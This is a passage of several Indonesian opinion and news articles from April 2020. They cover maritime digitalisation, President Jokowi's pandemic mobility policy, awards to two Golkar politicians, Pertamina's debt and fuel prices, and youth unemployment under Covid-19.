korupsi bisa ditutup rapat. Selain itu, penggunaan kertas pun dapat ditekan seminimal mungkin. Dalam kaitan ini, Indonesia agak sedikit terlambat bila dibandingkan dengan negara lain. Singapura misalnya, sudah lebih dari satu dekade menerapkan pelayanan kapal berbasis teknologi informasi (TI). Kini, Singapura tengah mempersiapkan sistem yang lebih maju, yang memungkinkan interaksi para pihak seperti shipper, transporter, authorities makin tokcer layaknya berbagai platform TI kekinian. Belakangan muncul gagasan “National Logistics Ecosystem” (NLE) dalam khazanah kemaritiman dan perlogistikan nasional. Saya mengikuti beberapa diskusi mengenai isu ini yang diadakan oleh Kementerian Koordinator Bidang Kemaritiman dan Investasi. Diskusinya jauh sebelum corona merajalela. NLE memang “mainannya” pemerintah. Saya menangkap kesan ini adalah upaya untuk mengintegrasikan berbagai platform yang ada, baik milik pemerintah, BUMN ataupun swasta. Kendati demikian, penggabungan ini tidak meleburkan apa yang sudah ada. Tidak jelas sejauh mana perkembangan proyek ini sekarang. Digitalisasi kemaritiman/perlogistikan nasional (INSW, Inaportnet, NLE) masih terhitung “balita”(di bawah lima tahun). Masih memiliki kekurangan di sana-sini. Kendati sudah online, proses penyandaran kapal di sebuah pelabuhan yang sudah menerapkan Inaportnet tetap memerlukan tatap muka untuk membahas rencana kedatangan kapal dengan melibatkan syahbandar, karantina, dan sebagainya. Sementara itu penerapan INSW masih dihadapkan pada kenyataan bahwa tidak seluruh instansi pemerintah yang terkait dengan proses pengurusan dokumen barang terintegrasi di dalamnya. Belum lagi praktik koruptif yang melibatkan regulator, pelabuhan/terminal dan pemilik barang yang masih berlangsung dalam proses pengurusan dokumen impor/ekspor. Perdagangan Dunia Lesu Pertanyaannya sekarang adalah, di masa wabah Covid-19 saat ini, bagaimanakah kinerja berbagai platform digital kemaritiman yang ada? Yang bisa dioperasikan oleh seluruh stakeholder bidang ini? Meningkatkah? Biasa saja? Atau, menurun sama sekali. Saya menelusuri berbagai situs berita kemaritiman di seluruh dunia untuk mencari jawaban atas pertanyaan-pertanyaan tadi, dan tidak saya temukan. Kadung penasaran, saya menghubungi beberapa teman yang bergerak di sektor pelabuhan dan pelayaran. Kontak dengan mereka ada yang dilakukan melalui Whatsapp atau telepon. Walaupun narasumbernya berasal dari teman sendiri, namun saya yakin jawaban yang mereka berikan bisa dijadikan acuan dan ditarik ke konteks yang lebih luas. Teman-teman saya menyebutkan tidak terjadinya peningkatan trafik dari berbagai teknologi informasi atau aplikasi yang ada di bidang kemaritiman nasional (pemesanan peti kemas online, pemesanan truk online, dan lain-lain) dalam masa wabah corona ini. Malahan menurut mereka cenderung turun, seiring dengan melemahnya gerak pelayaran lokal maupun global. Pelayaran lesu darah karena perdagangan dunia “hidup segan, mati tak mau”. Akibatnya, shipment banyak yang ditunda. Bahkan dibatalkan oleh pelayaran. Dalam istilah pelayaran, pembatalan pelayaran ini dinamakan ”blank sailing”. Kalaupun ada yang naik, itu hanya ada pada konsumsi bandwidth karena tingginya konferensi video internal. Ini kata teman saya yang bekerja di perusahaan pelabuhan. Sementara kawan yang bekerja di salah satu pelayaran penyeberangan berkata lain. Teknologi informasi atau platform aplikasi belum sepenuhnya berjalan di perusahaannya. Penerapan penjualan tiket online malahan baru akan diimplementasikan. Itupun setelah digeber oleh Kementerian Perhubungan. Sementara pemakaian kuota/pulsa meningkat karena makin seringnya komunikasi dengan sejawat dan pimpinan untuk urusan kantor dari rumah. Riset kecil-kecilan yang saya adakan secara dadakan menggambarkan bahwa geliat digitalisasi di ranah kemaritiman dan perlogistikan nasional berbeda-beda levelnya. Antara satu perusahaan atau sektor dengan perusahaan atau sektor lainnya tidak sama. Lebih jauh, digitalisasi yang ada, tidak atau belum mampu menawarkan dirinya sebagai new norm untuk industri terkait. Meskipun sudah ada entry point-nya, yaitu merebaknya Covid-19. Berharap penggunaan berbagai teknologi informasi dan aplikasi menjadi new norm di ranah kemaritiman jelas terlalu dini. Paling banter mereka hanya sebatas sebagai auxiliary atau pelengkap saja bagi sektor-sektor yang ada. Melihat karakteristik dasar bisnis transportasi (pelayaran, pelabuhan, dan bidang-bidang terkait lainnya), peluang pemanfaatannya di masa depan pun sepertinya juga relatif kecil. Jika bermimpi satu saat pemanfaatan TI dan berbagai aplikasi bisa membuat kita memesan layanan kapal seperti ojek online, atau mengirim makanan/produk lain semudah pengiriman dalam jaringan, sebaiknya segera bangun. Jangan tunggu-tunggu lagi. Sebab begitu lebar jurang pemisah di antara mereka. Meskipun rasanya tidak mungkin akan terjadi. Untuk itu, sebagai alternatif, ada baiknya saat ini kita mulai mengintensifkan pemanfaatan green ocean dan smart ocean. Diharapkan ketika wabah corona berlalu, industri kemaritiman nasional bisa makin berkilau. Itu artinya, jika mengoperasikan kapal, pelabuhan atau bisnis perikanan, sedapat mungkin digunakan listrik dari pembangkit yang digerakkan oleh energi terbarukan. Bagi operator pelabuhan, pemanfaatan dua konsep tersebut bisa membantu upaya mereka menuju green port. Digitalisasi kemaritiman pada hakikatnya hanyalah satu elemen dari green ocean. Entahlah. Penulis adalah Direktur The National Maritime Institute (Namarin)

Jokowi Takut Kehilangan Kekuasaan

Strategi Presiden Jokowi Takut Kehilangan Kekuasaanjelas berhubungan dengan ketidakmampuan pemerintah menanggung biaya finansial yang sangat besar dalam menghadapi pandemi dan akibat ekonominya. Secara implisit, ketidakmampuan itu disampaikan Presiden ketika menjelaskan mengapa pemerintah memilih kebijakan Pembatasan Sosial Berskala Besar (PSBB). Bukan melakukan karantina wilayah atau lockdown. By Rachland Nashidik Jakarta FNN – Kamis (23/04). Presiden, dalam dialog dengan Najwa Shihab tentang strategi mitigasi pandemi, mengatakan "mudik" dan "pulang kampung" adalah dua hal berbeda. "Mudik", kata Presiden, adalah mobilitas penduduk Ibu Kota ke daerah dalam rangka merayakan hari raya di kampung. Bisa pada hari raya Idul Fitri. Bisa juga pada raya Idul Adha. Jadi "mudik" ini merujuk pada kelas menengah yang sudah bermigrasi ke Jakarta. Kalau "Pulang kampung"? Ya sebaliknya. Menunjuk pada penduduk pendatang. Mereka itu penduduk miskin kota, yang pulang ke daerah asal karena di Jakarta kehilangan pekerjaan. Sebab apa Presiden Membedakan Mudik dari Pulang Kampung? Dalam mitigasi pandemic Covid-19, dua jenis mobilitas mamsyarakat yang dimaksud Presiden tersebut, sebenarnya sama-sama beresiko memperluas penyebaran dan penularan virus. Lagi pula secara leksikal, dua hal tersebut sebenarnya menunjuk pada mobilitas orang yang sama, yakni berpindahnya penduduk dalam suatu waktu dari Ibu Kota ke daerah-daerah. Itu sebabnya, penjelasan Presiden lalu jadi terasa kosong dan menggelikan. Namun Presiden dengan ungkapan itu sebenarnya menjelaskan sesuatu yang terlalu penting untuk sekadar kita tertawakan. Hanya jadi lelucon. Tampak kalau Presiden sesungguhnya sedang menjalankan strategi politik keamanan yang menghalalkan segala cara. Bagi Presiden, "mudik" harus dilarang. Lantaran “mudik” mencegah kemungkinan penularan virus mengikuti mobilitas pemudik dari Jakarta ke daerah, dan dari daerah ke Jakarta. Kalau "pulang kampung" justru harus diijinkan, bahkan malah didorong. Tujuannya, untuk mengurangi konsentrasi rakyat miskin kota di Jakarta. Dengan cara itu, masalah dikeluarkan dari Jakarta. Masalah jadi berpindah ke daerah yang tiba-tiba harus menampung mereka. Ikut menanggung potensi masalah sosial berikut resiko penyebaran virusnya. Presiden mungkin diberitahu, kesulitan ekonomi di masa pandemi Covid-19 ini bisa memicu letupan sosial politik yang akan menantang kekuasaannya. Makanya Presiden bergerak cepat mengantisipasi upaya-upaya untuk menentang kekuasaannya. Presiden bukan saja berusaha mengisolasi Jakarta dari resiko lebih lanjut penyebaran virus. Serentak dengan begitu, berusaha melindungi Istananya dari kemungkinan letupan sosial akibat rakyat kehilangan pekerjaan dan tak bisa makan. Srategi Presiden jelas berhubungan dengan ketidakmampuan pemerintah menanggung biaya finansial yang sangat besar dalam menghadapi pandemi dan akibat ekonominya. Secara implisit, ketidakmampuan itu disampaikan Presiden ketika menjelaskan mengapa pemerintah memilih kebijakan Pembatasan Sosial Berskala Besar (PSBB). Bukan melakukan karantina wilayah atau lockdown. Demikianlah mengapa Presiden membedakan "mudik" dari "pulang kampung". Dan dari situ kita bisa melihat cara berpikirnya. Masalahnya adalah kesehatan. Pendekatannya keamanan. Dasarnya ekonomi. Tujuannya melindungi kekuasaan. Penulis adalah Politisi Partai Demokrat

Selamat, Dua Tokoh Golkar Raih Penghargaan PWI Jatim Award 2020

Oleh. M.H Minanan Jakarta, FNN - Dua nama tokoh Partai Golkar meraih penghargaan anugerah Persatuan Wartawan Indonesia (PWI) Jawa Timur award 2020. Adalah Menpora Dr. Zainuddin Amali dan Ketum DPD Golkar Jatim Muhammad Sarmuji. Kedua tokoh tersebut menerima penghargaan bersama dengan 16 Tokoh di Kementerian/ Lembaga dan Pemda. Penghargaan ini diserahkan dalam rangka memperingati Hari Pers Nasional (HPN) 2020 dan HUT PWI ke-74. Acara yang rencananya diselenggarakan di Gedung Negara Grahadi, Jl. Gubernur Suryo - Surabaya pada Jum'at (20/03) tak bisa di gelar karena pandemi Corona Virus Disease 2019 (Covid-19). Karena agenda tahunan, anugerah penghargaan HPN dan HUT PWI hanya diumumkan. Penganugerahan itu diperoleh karena kedua Tokoh Golkar ini dinilai memiliki komitmen besar dalam melakukan perubahan untuk menjaga tata kelola pemerintahan dan kerja - kerja politik yang bersih, baik, transparan dan berhasil membangun zona integritas secara massif. Seperti kata bijak “Hasil tidak membohongi proses”. Kedua tokoh golkar ini pun tidak instan melalui proses berkarir. Hasil yang diperoleh hari ini karena latar belakang usaha dan pengorbanan yang tidak sedikit. Baik kedudukan, jabatan maupun dianugerahi penghargaan karena buah karya terbaik yang dipersembahkan bagi masyarakat bangsa dan negara. Sehingga bukan suatu kebetulan kedua tokoh partai berlambang pohon beringin ini memiliki segudang prestasi dalam karir yang signifikan. Menjadi para tokoh tersohor di partai, ini ukiran prestasi kedua tokoh partai golkar. ZA Gemilang Nakhodai Kemenpora Tak mudah menjadi pemimpin, Apalagi memimpin lembaga pemerintahan setingkat kementerian, yang terbuka diawasi publik. Dr. Zainuddin Amali dipercaya oleh Presiden Jokowi untuk menakhodai Kementerian Pemuda dan Olahraga pada 23 Oktober 2019. Dibawah kepemimpinan Dr. Zainuddin Amali Kementerian Pemuda dan Olahraga berhasil menciptakan suasana kondusif diantara organisasi olahraga, terutama hubungan antara KONI dan KOI. Selain itu, Mantan Anggota DPR RI empat periode ini melakukan pendekatan intensif pada penyelesaian sengketa Induk Cabang Olahraga (PB/PP) yang belum terselesaikan selama bertahun-tahun. Seperti, Cabor HOKI, Tenis Meja, Gulat dan beberapa cabang olahraga yang lain. Hal ini dilakukan untuk memperbaiki olahraga nasional Indonesia kedepan jauh lebih baik. Ukiran prestasi pada Sea Games 2019 di Filipina, ada sentuhan tangan dingin dari seorang ZA yang terlibat langsung menjadi konsolidator dalam menargetkan perolehan medali emas. Pemerintah menargetkan perolehan medali emas 50 dan direvisi menjadi 60 saat awal menjabat sebagai Menpora, target perolehan medali emas itu menembus angka 72 medali berhasil diperoleh atlit Sea Games Indonesia akhir tahun lalu. Sungguh sebuah prestasi yang membanggakan. Pria kelahiran Gorontalo ini betul-betul melakukan perbaikan citra kementerian tersebut, selang dua Minggu penutupan Sea Games. Bonus peraih medali langsung diserahkan pada 72 peraih medali emas. Juga waktu relatif lebih cepat dari sebelum - sebelumnya. Selain itu, Mantan Ketua Komisi II DPR itu bersama stakeholder telah berhasil mendorong Kongres PSSI secara kondusif, tanpa ada insiden kekerasan seperti sebelumnya, berlarut-larut dan alot. Kini pemerintah tengah membantu PSSI untuk meningkatkan prestasi sepakbola Indonesia di kancah Internasional melalui Instruksi Presiden Nomor 3 tahun 2019 tentang Pembangunan Percepatan Persepakbolaan Nasional. Politisi Kawakan kuasai gelanggang. Anggota DPR RI Muhammad Sarmuji, satu nama yang sudah tidak asing ditelinga para politisi dan aktivis Indonesia itu memiliki segudang pengalaman organisasi. Cak Ji begitu akrab dipanggil, beliau termasuk politisi kawakan dengan berbagai prestasi. Memulai karir politik di PP AMPG sebagai Sekertaris Jenderal, Ketua Harian DPP Golkar hingga Ketua Umum DPD Golkar Jatim. Beliau termasuk salah satu tokoh muda, politisi kawakan yang menguasai gelanggang politik. Tak heran beliau sangat familiar diberbagai kalangan masyarakat. Sebagai orang yang belajar serta tumbuh-kembang dari organisasi mahasiswa, Cak Ji memiliki orientasi dan budaya politik yang sangat bersahaja. Bukan saja di segani lawan, namun beliau sangat dihormati kawan – kawan seperjuangannya. Untuk diketahui, Ketua Umum DPD Golkar Jatim ini bukan pertama kali mendapat penghargaan anugerah bidang politik, sebelumnya ia telah mendapatkan penghargaan anugerah politisi berdedikasi dari Mens Obsession saat 2018 lalu. Baginya, mendapat penghargaan PWI Jatim Award 2020 ini. merupakan kepercayaan untuk berbuat lebih baik lagi. Itu semacam titah, semacam perintah “teruslah berbuat, teruslah berkarya”. Pantas lah jika kedua tokoh partai golkar ini menyabet berbagai raihan prestasi. Salah satunya penghargaan dari PWI yang baru-baru ini di umumkan. Mereka termasuk para tokoh teladan yang mempuni secara kualitas dan kuantitas karya.

Giliran Pertamina Berpotensi Gagal Bayar Obligasi

By Dr. Marwan Batubara Jakarta FNN – Kamis (23/04). Pertamina baru saja mempromosikan kebijakan harga BBM khusus bagi pengendara Ojek Online (Ojol). Promosi berlaku 14 April-12 Juli 2020 memakai aplikasi MyPertamina (13/4/2020). Sehari kemudian Komut Pertamina, Ahok ikut promosi via twitter yang banyak dikritik. Para pengeritik mempertanyakan mengapa Komut terlibat ranah operasional. Ada yang menganggap kebijakan tidak adil karena hanya berlaku bagi Ojol. Tidak berlaku kepada pengemudi moda transportasi lain yang terdampak korona. Ada yang curiga, kalau program ini terkait kepentingan politik atau bisnis pemegang saham aplikasi Ojol. Kita tidak paham apakah berbagai kritik tersebut valid atau bias. Namun jika promosi dicetuskan pertama kali oleh marketing Pertamina, maka ikut sertanya Ahok bisa untuk memperluas penyebaran promo. Mau menunjukkan andil atau peran Ahok, atau karena para die-hards ingin terus mempromo Ahok yang secara legal sebenarnya tidak qualified menjadi Komut. Kita maklum jika Pertamina mungkin ingin berempati dengan kondisi ekonomi rakyat. Disamping itu, bisa pula ada motif bisnis bersifat strategis dan berjangka panjang yang tidak utuh terpahami. Namun karena dampak pandemi sangat luas, maka keadilan dan empati jadi penting. Namun, jika tidak terkendala dana, diharapkan ada program susulan yang lebih adil dan merata. Bersamaan dengan isu “BBM Ojol”, akhir-akhir ini publik pun mempertanyakan kebijakan harga BBM yang tak kunjung turun. Padahal harga minyak dunia sudah turun cukup rendah. Sesuai formula harga berdasar Perpres No.191/2014 dan No.43/2018, serta sejumlah Permen ESDM yang merujuk Perpres, maka harga BBM seharusnya sudah turun. Mengapa tidak turun? Terlepas apakah Pertamina kelak akan meluncurkan program susulan atas promo BBM Ojol? Apakah pemerintah pada akhirnya menurunkan harga BBM? Sebenarnya publik perlu paham dan concern terhadap hal yang jauh lebih penting. Bahwa keuangan Pertamina sekarang ini berpotensi sangat bermasalah. Kondisi ini sebagai akibat dari kebijakan pemerintah selama ini yang bermasalah. Semakin bermasalah akibat dampak korona. Hal ini menyangkut survival korporasi dan nasib pelayanan energi untuk publik ke depan. Profitabilitas perusahaan yang bergerak pada bisnis hulu dan hilir migas tergantung pada fluktuasi harga minyak dunia. Dalam kondisi normal, bagi perusahaan terintegrasi dari hulu ke hilir (bundled), saat harga minyak di hulu naik, maka profitabilitas akan naik. Penerimaan perusahaan di sisi hulu pasti naik. Juga masih mendapatkan keuntungan pada sisi hilir. Begitu pula, saat harga di hulu turun, dan sisi hulu merugi, namun secara keseluruhan perusahaan masih untung, karena bisnis hilir bisa untung lebih besar. Namun dalam kondisi pandemi Covid-19, situasinya berbeda. Akibat pandemi korona, penurunan konsumsi BBM/minyak di sektor transportasi, industri dan komersial, membuat demand minyak turun 16-20 juta barel per hari (bph). Biasanya konsumsi minyak global sekitar 100 juta bph. Seimbang dengan produksi pada level 100 juta bph. Dengan pandemi korona, maka rata-rata over supply minyak dunia sekitar 20 juta bph. Kondisi ini menyebabkan harga minyak turun ke level US$ 20-an per barel. Harga terendah dalam 20 tahun terakhir. Untuk “memulihkan” harga yang rendah ini, negara-negara penghasil minyak OPEC dan non-OPEC, (disebut OPEC+) telah melakukan negosiasi penurunan produksi melalui teleconference. Pada perundingan OPEC+ pertama pada 6 Maret 2020 antara Arab Saudi (pordusen terbesar OPEC) dan Rusia (produsen terbesar ke-2 non-OPEC setelah AS) tidak menghasilkan kesepakan penurunan produksi. Negosiasi gagal. Pada perudingan OPEC+ kedua 9 April 2020, para pihak berhasil sepakat mengurangi produksi hingga 9,7 juta bph. Mulai berlaku pada Mei 2020. Ternyata pada 17 April 2020 harga minyak kembali turun menjadi US$ 18-an per barel, terutama karena pemangkasan produksi OPEC+ yang disepakati sebelumnya tidak cukup besar mengimbangi penurunan konsumsi akibat korona. Tangki-tangki penyimpanan negara-negara yang ingin menimbun sudah penuh. Dampak over supply ini pulalah yang dirasakan oleh Pertamina. Dalam rapat dengar pendapat via teleconference dengan Komisi VII DPR (16/4/2020) Dirut Pertamina Nicke Widyawati menjelaskan penjualan retail BBM turun sekitar 16,78%. Aviasi turun rata-rata harian 45%. Nicke mengatakan, akibat permintaan yang turun tersebut, Pertamina akan menghentikan operasi kilang Balikpapan pada Mei 2020. Dalam satu simulasi harga minyak dan kurs dollar pada level tertentu, pendapatan korporasi bisa turun hingga 45%. Penjelasan Nicke menunjukkan kedua lini bisnis Pertamina menurun. Keuntungan sisi hilir dengan penjualan yang anjlok signifikan tidak cukup besar menutup kerugian di hulu dan beban operasi. Pertamina bepotensi mendatangkan kerugian. Kondisi keuangan menjadi lebih bermasalah. Sebagai akibat dari kebijakan pemerintah pada Pertamina yang berlangsung selama ini. Pertama, pemerintah memaksa Pertamina membayar signature bonus (SB) sekitar Rp. 11 triliun agar dapat mengelola blok Rokan yang sekarang masih dikelola Chevron. Padahal sesuai Pasal 33 UUD 1945, Pertamina berhak mengelola blok tersebut tanpa membayar SB. Ternyata, meski baru mulai mengelola Agustus 2021, Pertamina dipaksa membayar SB pada Desember 2018. Untuk itu, Pertamina harus menerbitkan surat utang U$ 750 juta. Kedua, akibat kebijakan populis Jokowi untuk menangkan Pilpres 2019. Pertamina harus menanggung beban subsidi BBM. Akibat program pencitraan ini, ditambah subsidi LPG 3 kg yang sebagian tidak tepat sasaran, Pertamina harus menanggung beban subsidi yang terakumulasi sejak April 2016/2017 hingga 2019 sekitar Rp 85 triliun lebih. Kebijakan ini pun telah menyebabkan Pertamina berutang. Pembebanan subsidi puluhan triliun rupiah pada Pertamina yang harusnya ditanggung APBN merupakan pelanggaran Pasal 66 UU BUMN No.19/2003. Setelah diprotes publik, pemerintah menyatakan akan menyicil piutang Pertamina tersebut. Namun dalam kondisi APBN defisit ratusan triliun rupiah akibat korona, cicilan tersebut bisa saja tidak segera terbayar. Akibat harus menanggung beban signature bonus dan subsidi untuk pencitraan, hingga Januari 2020, utang (obligasi) Pertamina telah mencapai U$ 12,5 miliar atau Rp. 187,5 triliun pada kurs Rp. 15.000 per dollar. Rata-rata tingkat bunga utang itu sekitar 5-6%. Dengan demikian, diperkirakan Pertamina harus menanggung beban bunga obligasi sekitar Rp 11-12 triliun per tahun. Masalah Pertamina yang lain, terkait harga jual minyak mentah Indonesian Crude Price (ICP) yang harus dibayar Pertamina kepada pemerintah yang dinilai tidak wajar. Nilai ICP diterbitkan setiap bulan melalui SK Menteri ESDM sesuai formula “Harga Minyak Brent (Dated Brent) plus/minus Alpha”. Dalam SK tersebut, terdapat nilai Alpha bulan Januari-Maret 2020 yang sangat tinggi, yaitu untuk minyak Duri U$ 11-15 dan Banyu Urip U$ 7-9 per barel. Padahal untuk minyak jenis-jenis lain, nilai Alpha hanya berkisar antara U$ 2-3 per barel. Produksi minyak Duri dan Banyu Urip bisa mencapai 500 ribuan bph terhadap 730 ribuan bph total produksi nasional. Dengan nilai Alpha yang besar, berarti meskipun harga minyak dunia turun, Pertamina tetap membayar harga crude yang cukup tinggi kepada pemerintah. Ujungnya, harga ICP ber-Alpha tinggi ini akan ditanggung konsumen BBM juga. Anomali nilai Alpha ini patut dipertanyakan. Pemerintah bisa berdalih ini untuk menarik investasi di sektor hulu. Namun bisa muncul spekulasi, pemerintah ingin menjaga penerimaan PNBP di APBN, atau bisa juga karena moral hazard. Apapun itu, konsumen tidak akan mendapat BBM yang harganya turun sebanding dengan turunnya harga minyak dunia. Ini karena adanya “beban dana siluman” yang diambil pemerintah melalui nilai Alpha pada ICP. Harga BBM Harus Turun Terkait harga BBM, Dirut Nicke Widyawati menyatakan pada rapat dengar pendapat virtual dengan Komisi VII DPR (16/4/2020) bahwa penetapan harga BBM merupakan wewenang pemerintah. “Jadi kami tiap bulan mengikuti formula harga yang ditetapkan Kementerian ESDM. Sebetulnya penetapan harga dilakukan pemerintah” kata Nicke. Pada rapat virtual dengan Komisi VII DPR berikut (21/4/2020), Nicke mengatakan harga BBM Pertamina juga tergantung keharusan menyerap crude domestik, harga ICP (pemerintah) lebih mahal, kurs U$ yang naik dan kepentingan survival bisnis. Karena itu, Nicke mengatakan harga BBM belum dapat diturunkan. ICP mahal terjadi akibat anomali nilai Alpha. Jika merujuk Permen ESDM No.34/2018 tanggal 7 Juni 2018, harga jual BBM umum ditetapkan badan usaha dan dilaporkan kepada Dirjen Migas. Karena itu, apapun alasannya, jika merujuk Perpres No.191/2014, Perpres No.43/2018 dan formula harga sesuai Kepmen ESDM N.62 K/10/2020 tertanggal 27 Febuari 2020, maka mulai 1 April 2020, harga BBM RON 92 (pertamax) misalnya, harus turun dari Rp. 9.000 menjadi Rp. 5.500-60.00 per liter. Jika harga BBM tidak turun setelah tiga minggu dari jadwal, maka pemerintah telah membiarkan terjadinya pelanggaran oleh Pertamina. Pembiaran ini memang sejalan dengan pernyataan Nicke (16/4/2020) bahwa meskipun hak penetapan harga BBM berada di tangan Pertamina, implementasinya tetap teragantung persetujuan pemerintah. Karena itu, pemerintahlah yang menjadi aktor penyebab tidak kunjung turunnya harga jual BBM kepada masyarakat. Ternyata selisih harga BBM ribuan rupiah per liter, sekitar Rp 3.000 untuk pertamax dan jenis BBM lain, bukan saja dinikmati Pertamina. Juga dinikmati oleh badan usaha pemilik SPBU swasta/asing. Korbannya adalah rakyat Indonesia para konsumen BBM. Karena itu, rakyat pantas menggugat pemerintah atas pelanggaran ini dan meminta ganti rugi atas harga berlebihan yang sudah dibayarkan. Blunder marketing BBM Ojol. Karena tidak dipahami publik secara utuh. Pada saat tengah krisis mungkin bisa dimaklumi. Begitu pula, jika ada personal yang tidak qualified menumpangi promo demi pengakuan atau unjuk prestasi, bisa saja diperbaiki jika ada keberanian untuk segera mengganti. Namun, kebijakan yang melanggar konstitusi, peraturan dan prinsip GCG, sehingga akibat pendemi korona justru dapat membuat Pertamina gagal bayar dan mengancam survival usaha, maka rakyat pantas menggugat dan meminta pertanggungjawaban Jokowi. Akhirnya kita menuntut pemerintah untuk menjamin Pertamina tidak sampai gagal bayar. Pemerintah juga dituntut segera mengklarifikasi anomali nilai Alpha ICP yang membuat harga crude lebih tinggi. Segera turunkan harga BBM sebanding dengan turunnya harga minyak dunia, dan memberi ganti rugi atas selisih harga yang sudah dikeluarkan sejak 1 April 2020. Terkait harga BBM ini, rakyat bisa saja melakukan gugatan class action. Selain itu, praktek sapi perah terhadap BUMN bagi kepentingan sempit harus dihentikan, karena seperti kata Menteri BUMN Erick Thohir (26/2/2020), BUMN bukan Badan Usaha Milik Nenek Lu”. Penulis adalah Managing Director Indonesian Resources Studies (IRESS)

Pandemi Corona Dan Penyelamatan Investasi Masa Depan

Oleh: Syamsul Qomar Jakarta, FNN - “Seribu orang tua hanya bisa bermimpi, tapi seorang pemuda mampu mengubah dunia!” (Soekarno) DAMPAK kesehatan serius COVID-19 tampaknya dirasakan oleh orang tua berusia lebih dari enam puluh tahun. Namun, karena coronavirus telah menjadi pandemi, menyebar melalui masyarakat dan melumpuhkan beberapa sektor ekonomi, kaum muda, yang jumlahnya kira-kira seperempat dari populasi Indonesia, secara tidak proporsional menghadapi risiko ekonomi. Statistik Pemuda Indonesia 2019 (Badan Pusat Statistik) menyebutkan bahwa saat ini terdapat sekitar 64,19 juta pemuda yang tersebar di wilayah NKRI dan mengisi hampir seperempat jumlah penduduk Indonesia (24,01 persen), dan sejatinya pemuda memiliki peran dan fungsi yang strategis dalam perekonomian nasional, mengingat mereka merupakan aktor dalam akselerasi pembangunan. Namun demikian, Pemuda adalah elemen masyarakat yang sangat rentan terdampak krisis Corona dalam aspek ekonomi hingga tiga kali lebih mungkin menjadi pengangguran daripada orang dewasa. Sebagai respon atas penyebaran masif coronavirus ke hampir seluruh daerah, banyak perusahaan swasta, organisasi dan institusi pemerintah membatalkan kegiatan, menyetop produksi sementara, menerapkan “work from home” bagi karyawan. Banyak Kota dan kabupaten bahkan mengambil langkah-langkah penting untuk mencoba dan mengurangi tingkat penyebarannya, termasuk melarang pertemuan atau acara besar, menutup sekolah, membatasi masuk, dan bahkan mendirikan zona pembatasan masyarakat melalu Pembatasan Sosial Berskala Besar (PSSB). Lebih jauh, ancaman virus corona mempengaruhi perilaku sosial, termasuk karantina diri dan jarak fisik antar individu masyarakat, membatasi publik dan kontak antarpribadi. Dampak negatif terhadap ekonomi sangat jelas terasa, pada pekerja muda dan usaha kecil menengah yang cenderung signifikan. Menurut International Labor Organization, pengangguran kaum muda secara global mengalami kenaikan saat terjadi krisis. Kaum muda cenderung bekerja dalam pekerjaan musiman, temporer, informal, dan lebih cenderung untuk pekerjaan freelance atau paruh waktu tanpa diberikan tunjangan kesehatan atau cuti berbayar. Kondisi ini membuat kaum muda lebih rentan terhadap pemotongan pekerjaan atau kontrak, pemberhentian hubungan kerja secara sepihak, dan selanjutnya mengalami pengangguran jangka panjang. Terlebih lagi, pekerja muda banyak mengisi sektor pekerjaan dengan keterampilan rendah di ritel dan sektor jasa pelayanan (termasuk perhotelan, bisnis makanan dan cafe) - yang sangat rentan terdampak Corona. Secara lebih spesifik kondisi riil di Indonesia menyebutkan bahwa lapangan usaha yang banyak menyerap tenaga kerja pemuda adalah sektor jasa-jasa (55,20 persen). Sedangkan menurut jenis pekerjaan utama yang dibagi dalam 8 kategori, sebagian besar pemuda bekerja sebagai tenaga produksi dan angkutan. Lebih dari separuh pemuda yang bekerja berstatus sebagai buruh/karyawan (58,81 persen), diikuti pekerja keluarga atau tidak dibayar (14,29 persen). (BPS, dalam Statistik Pemuda Indonesia 2019) Pada tahun 2019, lebih dari separuh pemuda Indonesia bekerja (53,89 persen), sisanya aktif sekolah, mengurus rumah tangga, serta sibuk mencari dan mempersiapkan pekerjaan. Persentase pemuda laki-laki yang bekerja lebih besar daripada perempuan, dan lebih dari separuh pemuda bekerja berada pada kelompok umur 19-24 tahun dan 25-30 tahun. Selain itu, masih terdapat sekitar 18,51 persen pemuda usia 16-18 tahun yang bekerja, padahal usia tersebut masih termasuk usia sekolah. Pemuda yang terlibat dalam kegiatan ekonomi cukup tinggi, hal ini dinyatakan dengan nilai Tingkat Partisipasi Angkatan Kerja (TPAK) pemuda sebesar 61,96 persen. Artinya, sekitar tiga dari lima pemuda sedang bekerja, mempersiapkan pekerjaan, atau mencari pekerjaan. Sebelum Pandemi Corona, Tingkat pengangguran terbuka (TPT) pemuda Indonesia tahun 2019 sebesar 13,03 persen. Angka tersebut menunjukkan bahwa dari setiap 100 angkatan kerja pemuda, terdapat sekitar 13 pemuda tidak bekerja dan sedang mempersiapkan usaha atau mencari pekerjaan. TPT pemuda di perkotaan lebih tinggi dibandingkan pemuda di perdesaan. Nilai TPT pemuda yang paling tinggi adalah mereka yang berpendidikan SMA/sederajat, diikuti PT dan SMP/sederajat. Isu Pengangguran kaum muda ini menjadi satu konsen dan fokus pemerintah melalui serangkaian kebijakan dan program untuk mendukung kaum muda mengatasi goncangan jangka pendek dari coronavirus. Indonesia diprediksi akan mengalami masa bonus demografi, yakni jumlah penduduk usia produktif (berusia 15-64 tahun) lebih besar dibandingkan penduduk usia tidak produktif (berusia di bawah 15 tahun dan di atas 64 tahun) pada kurun waktu 2030-2040. Pemerintah, swasta dan masyarakat harus bergerak seirama menyelamatkan pemuda agar visi bonus demografi yang akan dialami Indonesia pada 2030-2040 bisa tercapai untuk kemakmuran dan kesejahteraan rakyat Indonesia. Apapun kondisi akibat Pandemi Corona, program dan kebijakan pengembangan dan pemberdayaan pemuda harus tetap berjalan sebagai bagian dari pembangunan nasional. Alokasi Anggaran Negara harus memprioritaskan pembangunan pemuda (salah satu agenda strategis nasional RPJMN Republik Indonesia) sebagai aset masa depan republik ini. Bersama dengan sektor swasta, BUMN, pemerintah daerah dan seluruh elemen masyarakat, program pengembangan dan pemberdayaan kaum muda diarahkan untuk membuka akses pemuda menjangkau sumber daya secara digital untuk dengan cepat mendapatkan keterampilan baru dan mendapatkan penghasilan ekonomi secara mandiri. Kemenpora, sebagai core lembaga pemerintah dalam pembangunan kepemudaan (dan olahraga) nasional Indonesia, berfokus pada penanganan pandemi Corona pasca krisis, yakni memastikan program pengembangan dan pemberdayaan pemuda tetap berjalan maksimal. Krisis pandemi Corona memang akan meninggalkan dampak, tapi tidak sampai menghambat, justru melahirkan inovasi dan kreasi baru dalam menstimulasi program dan kebijakan pemerintah di bidang kepemudaan dengan satu atau ribuan cara lain. Pendidikan, pengembangan potensi kewirausahaan dan pemberdayaan pemuda diarahkan untuk dapat membantu generasi muda bisa tetap berkarya dan survive menghadapi kesulitan, stres, ketakutan dan kehilangan pekerjaan selama dan setelah krisis. Pengembangan potensi pemuda salah satunya adalah dengan memberikan keterampilan dan 